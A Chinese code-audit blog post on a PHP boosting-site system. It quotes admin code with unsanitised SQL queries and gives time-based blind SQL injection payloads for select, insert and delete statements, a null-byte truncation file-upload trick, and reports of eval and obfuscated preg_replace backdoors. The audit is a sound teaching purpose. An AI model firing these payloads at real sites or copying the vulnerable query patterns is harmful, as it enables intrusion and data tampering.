代码审计之某代刷网系统

478 阅读2分钟

0x00前言

众所周知,目前这种代刷网在网络上还是比较常见的,所以今天准备对这类系统进行一波审计。

本文所使用的环境为_phpstudy的php5.2.17版本+apache_
0x01正文

  • SQL注入

首先,我们先打开了法师的seay审计系统。由于sql注入漏洞是比较多见的,所以我往往会优先审计它。

但是,我发现这里显示的select类型注入描述过少。所以这次我打算先利用敏感函数追踪的方法来进行挖掘

哦吼,这里很有可能存在sql注入漏洞。我们点进去看看。

elseif ($my=='edit\_submit') {    $cid = $\_GET\['cid'\];    $rows $DB->get\_row('select * from shua\_class where cid=\\'' . $cid . '\\' limit 1');    if (!$rows) {        exit('<script language=\\'javascript\\'>alert(\\'当前记录不存在!\\');history.go(-1);</script>');    }

这洞不就来了么。cid变量未经过滤便直接传递到了sql语句中。由于cid变量未经过滤便直接传递到了sql语句中。由于DB->get_row是返回存在的行数。所以说这里我们只能用盲注来进行判断。

payload为

/admin/classlist.php?my=edit_submit&amp;&amp;cid=1' and sleep(10)--+

然后继续看这个文件

if ($my=='add\_submit') {    $name = $\_POST\['name'\];    if ($name==NULL) {        exit('<script language=\\'javascript\\'>alert(\\'保存错误,请确保每项都不为空!\\');history.go(-1);</script>');    } else {        $sql 'insert into \`shua_class\` (\`name\`,\`active\`) values (\\'' . $name . '\\',\\'1\\')';

当&name不为空的时候执行insert类型的sql注入。

就像上图即可
payload:name=yanxia'+or+sleep(10),'1')%23

okey,接着往下翻。我们会发现个delete类型的sql注入

elseif ($my=='delete') {    $cid = $\_GET\['cid'\];    $sql 'DELETE FROM shua\_class WHERE cid=\\'' . $cid . '\\'';    if ($DB->query($sql)) {        exit('<script language=\\'javascript\\'>alert(\\'删除成功!\\');window.location.href=\\'classlist.php\\';</script>');    } else {        exit('<script language=\\'javascript\\'>alert(\\'删除失败!' . $DB->error() . '\\');history.go(-1);</script>');    }

payload如下:

admin/classlist.php?my=delete&amp;cid=1' and sleep(10)--+

(其他地方也存在类似的sql注入我就不一一写出来了)

  • 文件上传

这里,我们通过先定位一下文件上传点的方式来进行审计。
打开地址admin/shopedit.php?my=add,发现有个文件上传的地方

30983-xgi681qdjib.png

我们打开源码看一下逻辑

case 'uploadimg':    if($\_POST\['do'\]=='upload'){        $type = $\_POST\['type'\];        $filename = $type.'_'.md5\_file($\_FILES\['file'\]\['tmp\_name'\]).'.png';        $fileurl = 'assets/img/Product/'.$filename;        if(copy($\_FILES\['file'\]\['tmp_name'\], ROOT.'assets/img/Product/'.$filename)){            exit('{"code":0,"msg":"succ","url":"'.$fileurl.'"}');        }else{            exit('{"code":-1,"msg":"上传失败,请确保有本地写入权限"}');        }    }    exit('{"code":-1,"msg":"null"}');break;

我们可以发现md5_file(\_FILES\[‘file’\]\[‘tmp\_name’\])这里运用了md5加密。所以说我们不能从file和tmp\_name处下手。而type变量恰好是我们可控的。所以说我们可以才取00截断来达到文件上传的效果(有些人可能不懂什么是00截断。我把具体操作放下图了)


这里虽然显示是.jpg结尾但是其实已经被截断了。我们打开目录看看


  • 后门

在我利用自动审计功能的时候看到了它。一个404页面竟然还会存在eval。所以说极有可能是作者留下的后门。

点开看看。确实如此

接着我想继续看看有木有代码执行,常见敏感函数有eval(),assert(),preg_replace(),call_user_func(),call_user_func_arry(),arry_map()等等。

精彩的一幕来了。当我搜索preg_replace的时候发现了下图


哦吼,这不妥妥的是个后门吗
并且我发现是gzinflate(base64_decode())的加密。我们输出一下他的源码看看


0x02结尾

本文到此结束。
代码审计还是蛮有意思的。光看不自己动手的话很难进步!大家与我一起加油鸭

  •  发表于 2021-07-20 18:12:28

  • 阅读 ( 2886 )

  • 分类:漏洞分析